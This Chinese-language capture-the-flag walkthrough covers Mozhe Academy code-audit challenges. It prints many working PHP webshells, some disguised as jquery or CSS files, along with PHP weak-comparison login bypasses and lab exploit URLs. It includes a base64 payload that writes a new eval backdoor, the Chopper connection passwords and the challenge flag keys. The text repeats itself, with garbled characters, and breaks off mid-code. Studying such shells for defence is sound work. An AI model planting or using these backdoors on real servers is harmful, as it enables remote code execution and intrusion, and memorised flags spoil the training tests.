某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。
访问http://219.153.49.228:42335/
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
分析代码:
我们用echo分别输出三个变量
"$_" "$__" "$___"
这三个是变量名,我们通过编译知道它们分别是:
$_ => 1
$__ => _GET
$___ => _POST
实际上去理解“^”为异或运算符,$++;这行代码的意思是对变量名为""的变量进行自增操作,可以发现是异曲同工之妙
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
("`"^"?") 01100000^00111111=01011111 —>”_”
(":"^"}") 00111010^01111101=01000111—>”G”
("%"^"`") 00100101^01100000=01000101—>”E”
("{"^"/") 01111011^ 00101111=01010100—>”T”
我们把变量用值替换进去得到
${_GET}[!1](${_POST}[1]);
,把多余的{}去掉 [!1]也就是[0]
整理后代码如下: $_GET[0]($_POST[1]);
和一句话的 $_POST[1]
传参差不多了,那么$_GET[0]
就是我们的函数名了
根据"b.php源码"提示去b.php目录下
用hackbar传GET和POST请求
http://219.153.49.228:42335/b.php?0=assert
1=phpinfo()
可以执行
菜刀写入http://219.153.49.228:42335/b.php?0=assert密码是1
mozheae74b8ee177abe3a37432f933ac
这里有一个问题在于
http://219.153.49.228:42335/b.php?0=eval
无法显示phpinfo
这里延伸出一个问题柠檬大大的文章解释的很好
问题出在
$_POST['1']()
这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
但是eval不能被可变函数 调用。
mixed eval ( string
$code
)Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。
根据提供的源代码,分析找出认证码,审计源代码,需要找一个值,这个值的md5值在php中==题中给定值的md5值
访问
下载源代码,审计
<?php
error_reporting(0);
$a1 = md5('QNKCDZO');
$a = @$_POST['pass'];
$a2 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $a1 == $a2) {
/**
内容省略!
**/
exit();
} else {
echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}}
?>
这里有很明显的问题,密码是以MD5方式保存,只要找到一个QNKCDZO的md5值相同的密码就可以通过,或者php是弱类型语言,在使用 == 号时,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行
md5('240610708') 的结果是:0e462097431906509019562988736854
md5('QNKCDZO') 的结果是:0e830400451993494058024219903391
0e 的科学记数法开头,字符串被隐式转换为浮点数,实际上也就等效于 0,所以为0,相等。
输入240610708
KEY: mozhe454234355b0307eea24ed161701
某公司雇佣你对一个登陆界面进行测试,你只能得到源码,需要审计这段源码,找出其漏洞并成功登陆
访问
下载源代码,审计
<?php
error_reporting(0);
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
if(noother_says_correct($_POST['pass'])){
/**
此处省略
**/
} else{
echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}
?>
分析代码:
1.在for 循环中是判断输入的字符是否有存在在1和9之间的数字
2.如果不存在判断是否等于54975581388
3.等于就可以绕过
4..php弱类型考点$a == $b
等于TRUE 如果类型转换后$a
等于$b
,php在转码时会把16进制转化为十进制,将54975581388转成16进制,0xccccccccc。
KEY: mozhe8466fa038dd9ad4c4934892d6b7
某系统环境上发现一个可疑文件,请协助运维人员分析此文件的功能。
访问
下载系统源码 ,发现在cn-right.php文件中存在webshell
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
这里分析一下webshell代码,用GET和POST函数就构成了木马,
方法一:
http://219.153.49.228:40568/www/cn-right.php?POST=assert
GET=${fputs(fopen(base64_decode(bWFuZzAucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydtYW5nMCddKTsgPz4=))}
执行后当前目录生成mang0.php一句话木马,密码为 mang0
方法二:
客户端用菜刀,密码GET,url为http://219.153.49.228:40568/www/cn-right.php?POST=assert
mozhe3dbde397de25960e10f5d997a47
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在index.php存在恶意代码
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['assert']);
?>
这里分析一下webshell代码:
assert,是php代码执行函数,与eval()有同样的功能,因为$array[],POST[]
都是数组,所以$array[]=$POST
,就是把$POST
数组的值赋给$array
数组,这样的话$array[0]['POST']
的输出就是assert,所以组成了一句话木马<?php assert($_POST['assert']);?>
直接用菜刀链接即可密码为assert。
mozheb1315766f73e9fe22e58b67c107
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,
查看所有php后缀文件
$ag -g . --php
index.php
js/jquery1.42.min.php
includes/class-IXR-clientmulticall.php includes/class-IXR-date.php
includes/class-IXR-client.php
includes/class-IXR-base64.php
在jquery1.42.min.php存在恶意代码
D盾查杀也找到对应的文件。
<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>
这里分析一下webshell代码:
php中“.”表示将前后单位以字符串形式拼接
数组g[1]=s, char(116)是t ,gg连起来就是assert
整个一句话为@$assert($_POST(get))
http://219.153.49.228:47270/www/js/jquery1.42.min.php 密码get
中国菜刀连接
mozhebfb0dc9d53ee0aea51d557142fe
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
下载系统源码,在index.php存在恶意代码
<?php
error_reporting(0);
$e=$_REQUEST['e'];
$arr=array($_POST['POST'],);
array_filter($arr,base64_decode($e));
?>
这里分析一下webshell代码:
1、发现使用回调函数,各函数解释如下: ①、$_REQUEST[]
,HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE
的数组。 ②、array_filter()回调函数,原型为:
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
③base64_decode(),对 base64 编码的 data 进行解码。返回原始数据, 或者在失败时返回 FALSE。返回的数据可能是二进制的。
2、整理后,最终shell代码为
base64_decode($_REQUEST['e'])($_POST['POST']);
3、构造assert函数,使用$e参数传递经过base64编码后的assert字符串
http://219.153.49.228:48776/www/hack/bin.php?e=YXNzZXJ0 密码POST
YXNzZXJ0用base64解码的结果是assert
mozhe29055fb55f5c3cae9d29040f187
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在Exception.php存在恶意代码
D盾扫描验证
error_reporting(0);
call_user_func('assert', $_REQUEST['assert']);
这里分析一下webshell代码:
整理后shell代码为:assert($_REQUEST['assert']);
http://http://219.153.49.228:47037/www/Exception.php密码assert
mozhed6b28482c826171d5761e39f628
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在index.php存在恶意代码
D盾扫描验证
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['POST'],);
array_map(base64_decode($e), $arr);
?>
这里分析一下webshell代码:
构造参数e为经过base64加密后的assert字符串,这样传递过去的assert(),就会对arr数组中的每一个值进行作用,数组中的每一个值进行作用。
所以整理后:base64_decode($_REQUEST['e'])($_POST['POST']);
http://219.153.49.228:45692/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0 密码 POST
mozhea53e1e65c45eae8bbabfca9d30c
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在random_int.php存在恶意代码
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));
这里分析一下webshell代码:
uasort:
通过base64_decode()函数解密后的函数,对$数组进行排序,通过查看arr数组进行排序,通过查看$arr数组可知,其含有$元素,这里可以知道使用可执行函数,对_REQUEST['POST']元素,这里可以知道使用可执行函数,对$arr进行排序时,可执行shell代码。所以shell代码如下:
base64_decode($_REQUEST['e'])$_REQUEST['POST'];
mozhe24bcc5751c5d95d68250bfc8771
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在\fields\class-wp-rest-comment-meta-style.php存在恶意代码
D盾扫描验证
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
这里分析一下webshell代码:
preg_replace() 将 replacement 参数当作 PHP 代码,正则意思为匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样我们就可以把 $_POST['pass']
运行。
http://219.153.49.228:40515//www/fields/class-wp-rest-comment-meta-style.php? e=preg_replace 密码为pass
mozhe43997bb5d7b5b3546758a4724a2
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在\pomo\no.php存在恶意代码
error_reporting(0);
$e = $_REQUEST['e'];//接收e参数数据
register_shutdown_function($e, $_REQUEST['REQUEST']); //e传入的assert和Request传入内容作用
D盾扫描验证
这里分析一下webshell代码:
PHP中止的情况有三种:
执行完成
exit/die导致的中止
发生致命错误中止
等到php函数执行完成,就会调用我们传进去的php中止时执行的函数,构成 assert($_REQUEST['REQUEST'])
,一句话木马
http://219.153.49.228:41312/www/pomo/no.php?e=assert
密码:REQUEST
mozhe4694154a7d928a98d6db8a0b267
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在\hack\static\css.php存在恶意代码
<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['GET']); ?>
D盾扫描验证
这里分析一下webshell代码:
register_tick_function函数必须要和declare流程控制机制合并使用,
每执行ticks=1行php代码,就执行一次register_tick_function函数中的代码,当e接收assert时就构成了,$_request['GET']
是参数,这样就构成了assert($_request['GET'])
http://219.153.49.228:40102//www/hack/static/css.php?e=assert 密码:GET
mozhe27968c88c7b957576fe9562274e
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在mysql_conn.php存在恶意代码
<?php
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){
$_=@fopen('t.php', 'a');
@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");
@fclose($_);
}
?>
这里分析一下webshell代码:
若get到的1不为空且1=GET.fPZ87的话执行,创建t.php并写入,写入t.php恶意代码,$GET_[2]
接收到的值中的vey替换为ert,ilo替换为ass,也是时候当2=ilovey是,构成assert($_POST[1]),密码为1的一句话。
mozhef880344b9cbe7323d3ef241d16a# 墨者学院审计类通关指南
某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。
访问http://219.153.49.228:42335/
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
分析代码:
我们用echo分别输出三个变量
"$_" "$__" "$___"
这三个是变量名,我们通过编译知道它们分别是:
$_ => 1
$__ => _GET
$___ => _POST
实际上去理解“^”为异或运算符,$++;这行代码的意思是对变量名为""的变量进行自增操作,可以发现是异曲同工之妙
$_=(""^"?").(":"^"}").("%"^"
").("{"^"/");
("`"^"?") 01100000^00111111=01011111 —>””
(":"^"}") 00111010^01111101=01000111—>”G”
("%"^"`") 00100101^01100000=01000101—>”E”
("{"^"/") 01111011^ 00101111=01010100—>”T”
我们把变量用值替换进去得到
${_GET}[!1](${_POST}[1]);
,把多余的{}去掉 [!1]也就是[0]
整理后代码如下: $_GET[0]($_POST[1]);
和一句话的 $_POST[1]
传参差不多了,那么$_GET[0]
就是我们的函数名了
根据"b.php源码"提示去b.php目录下
用hackbar传GET和POST请求
http://219.153.49.228:42335/b.php?0=assert
1=phpinfo()
可以执行
菜刀写入http://219.153.49.228:42335/b.php?0=assert密码是1
mozheae74b8ee177abe3a37432f933ac
这里有一个问题在于
http://219.153.49.228:42335/b.php?0=eval
无法显示phpinfo
这里延伸出一个问题柠檬大大的文章解释的很好
问题出在
$_POST['1']()
这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
但是eval不能被可变函数 调用。
mixed eval ( string
$code
)Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。
根据提供的源代码,分析找出认证码,审计源代码,需要找一个值,这个值的md5值在php中==题中给定值的md5值
访问
下载源代码,审计
<?php
error_reporting(0);
$a1 = md5('QNKCDZO');
$a = @$_POST['pass'];
$a2 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $a1 == $a2) {
/**
内容省略!
**/
exit();
} else {
echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}}
?>
这里有很明显的问题,密码是以MD5方式保存,只要找到一个QNKCDZO的md5值相同的密码就可以通过,或者php是弱类型语言,在使用 == 号时,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行
md5('240610708') 的结果是:0e462097431906509019562988736854
md5('QNKCDZO') 的结果是:0e830400451993494058024219903391
0e 的科学记数法开头,字符串被隐式转换为浮点数,实际上也就等效于 0,所以为0,相等。
输入240610708
KEY: mozhe454234355b0307eea24ed161701
某公司雇佣你对一个登陆界面进行测试,你只能得到源码,需要审计这段源码,找出其漏洞并成功登陆
访问
下载源代码,审计
<?php
error_reporting(0);
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
if(noother_says_correct($_POST['pass'])){
/**
此处省略
**/
} else{
echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}
?>
分析代码:
1.在for 循环中是判断输入的字符是否有存在在1和9之间的数字
2.如果不存在判断是否等于54975581388
3.等于就可以绕过
4..php弱类型考点$a == $b
等于TRUE 如果类型转换后$a
等于$b
,php在转码时会把16进制转化为十进制,将54975581388转成16进制,0xccccccccc。
KEY: mozhe8466fa038dd9ad4c4934892d6b7
某系统环境上发现一个可疑文件,请协助运维人员分析此文件的功能。
访问
下载系统源码 ,发现在cn-right.php文件中存在webshell
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
这里分析一下webshell代码,用GET和POST函数就构成了木马,
方法一:
http://219.153.49.228:40568/www/cn-right.php?POST=assert
GET=${fputs(fopen(base64_decode(bWFuZzAucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydtYW5nMCddKTsgPz4=))}
执行后当前目录生成mang0.php一句话木马,密码为 mang0
方法二:
客户端用菜刀,密码GET,url为http://219.153.49.228:40568/www/cn-right.php?POST=assert
mozhe3dbde397de25960e10f5d997a47
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在index.php存在恶意代码
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['assert']);
?>
这里分析一下webshell代码:
assert,是php代码执行函数,与eval()有同样的功能,因为$array[],POST[]
都是数组,所以$array[]=$POST
,就是把$POST
数组的值赋给$array
数组,这样的话$array[0]['POST']
的输出就是assert,所以组成了一句话木马<?php assert($_POST['assert']);?>
直接用菜刀链接即可密码为assert。
mozheb1315766f73e9fe22e58b67c107
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,
查看所有php后缀文件
$ag -g . --php
index.php
js/jquery1.42.min.php
includes/class-IXR-clientmulticall.php includes/class-IXR-date.php
includes/class-IXR-client.php
includes/class-IXR-base64.php
在jquery1.42.min.php存在恶意代码
D盾查杀也找到对应的文件。
<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>
这里分析一下webshell代码:
php中“.”表示将前后单位以字符串形式拼接
数组g[1]=s, char(116)是t ,gg连起来就是assert
整个一句话为@$assert($_POST(get))
http://219.153.49.228:47270/www/js/jquery1.42.min.php 密码get
中国菜刀连接
mozhebfb0dc9d53ee0aea51d557142fe
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
下载系统源码,在index.php存在恶意代码
<?php
error_reporting(0);
$e=$_REQUEST['e'];
$arr=array($_POST['POST'],);
array_filter($arr,base64_decode($e));
?>
这里分析一下webshell代码:
1、发现使用回调函数,各函数解释如下: ①、$_REQUEST[]
,HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE
的数组。 ②、array_filter()回调函数,原型为:
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
③base64_decode(),对 base64 编码的 data 进行解码。返回原始数据, 或者在失败时返回 FALSE。返回的数据可能是二进制的。
2、整理后,最终shell代码为
base64_decode($_REQUEST['e'])($_POST['POST']);
3、构造assert函数,使用$e参数传递经过base64编码后的assert字符串
http://219.153.49.228:48776/www/hack/bin.php?e=YXNzZXJ0 密码POST
YXNzZXJ0用base64解码的结果是assert
mozhe29055fb55f5c3cae9d29040f187
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在Exception.php存在恶意代码
D盾扫描验证
error_reporting(0);
call_user_func('assert', $_REQUEST['assert']);
这里分析一下webshell代码:
整理后shell代码为:assert($_REQUEST['assert']);
http://http://219.153.49.228:47037/www/Exception.php密码assert
mozhed6b28482c826171d5761e39f628
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在index.php存在恶意代码
D盾扫描验证
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['POST'],);
array_map(base64_decode($e), $arr);
?>
这里分析一下webshell代码:
构造参数e为经过base64加密后的assert字符串,这样传递过去的assert(),就会对arr数组中的每一个值进行作用,数组中的每一个值进行作用。
所以整理后:base64_decode($_REQUEST['e'])($_POST['POST']);
http://219.153.49.228:45692/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0 密码 POST
mozhea53e1e65c45eae8bbabfca9d30c
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在random_int.php存在恶意代码
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));
这里分析一下webshell代码:
uasort:
通过base64_decode()函数解密后的函数,对$数组进行排序,通过查看arr数组进行排序,通过查看$arr数组可知,其含有$元素,这里可以知道使用可执行函数,对_REQUEST['POST']元素,这里可以知道使用可执行函数,对$arr进行排序时,可执行shell代码。所以shell代码如下:
base64_decode($_REQUEST['e'])$_REQUEST['POST'];
mozhe24bcc5751c5d95d68250bfc8771
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在\fields\class-wp-rest-comment-meta-style.php存在恶意代码
D盾扫描验证
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
这里分析一下webshell代码:
preg_replace() 将 replacement 参数当作 PHP 代码,正则意思为匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样我们就可以把 $_POST['pass']
运行。
http://219.153.49.228:40515//www/fields/class-wp-rest-comment-meta-style.php? e=preg_replace 密码为pass
mozhe43997bb5d7b5b3546758a4724a2
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在\pomo\no.php存在恶意代码
error_reporting(0);
$e = $_REQUEST['e'];//接收e参数数据
register_shutdown_function($e, $_REQUEST['REQUEST']); //e传入的assert和Request传入内容作用
D盾扫描验证
这里分析一下webshell代码:
PHP中止的情况有三种:
执行完成
exit/die导致的中止
发生致命错误中止
等到php函数执行完成,就会调用我们传进去的php中止时执行的函数,构成 assert($_REQUEST['REQUEST'])
,一句话木马
http://219.153.49.228:41312/www/pomo/no.php?e=assert
密码:REQUEST
mozhe4694154a7d928a98d6db8a0b267
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在\hack\static\css.php存在恶意代码
<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['GET']); ?>
D盾扫描验证
这里分析一下webshell代码:
register_tick_function函数必须要和declare流程控制机制合并使用,
每执行ticks=1行php代码,就执行一次register_tick_function函数中的代码,当e接收assert时就构成了,$_request['GET']
是参数,这样就构成了assert($_request['GET'])
http://219.153.49.228:40102//www/hack/static/css.php?e=assert 密码:GET
mozhe27968c88c7b957576fe9562274e
黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。
访问
下载系统源码,在mysql_conn.php存在恶意代码
<?php
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){
$_=@fopen('t.php', 'a');
@fwrite($_,"<?php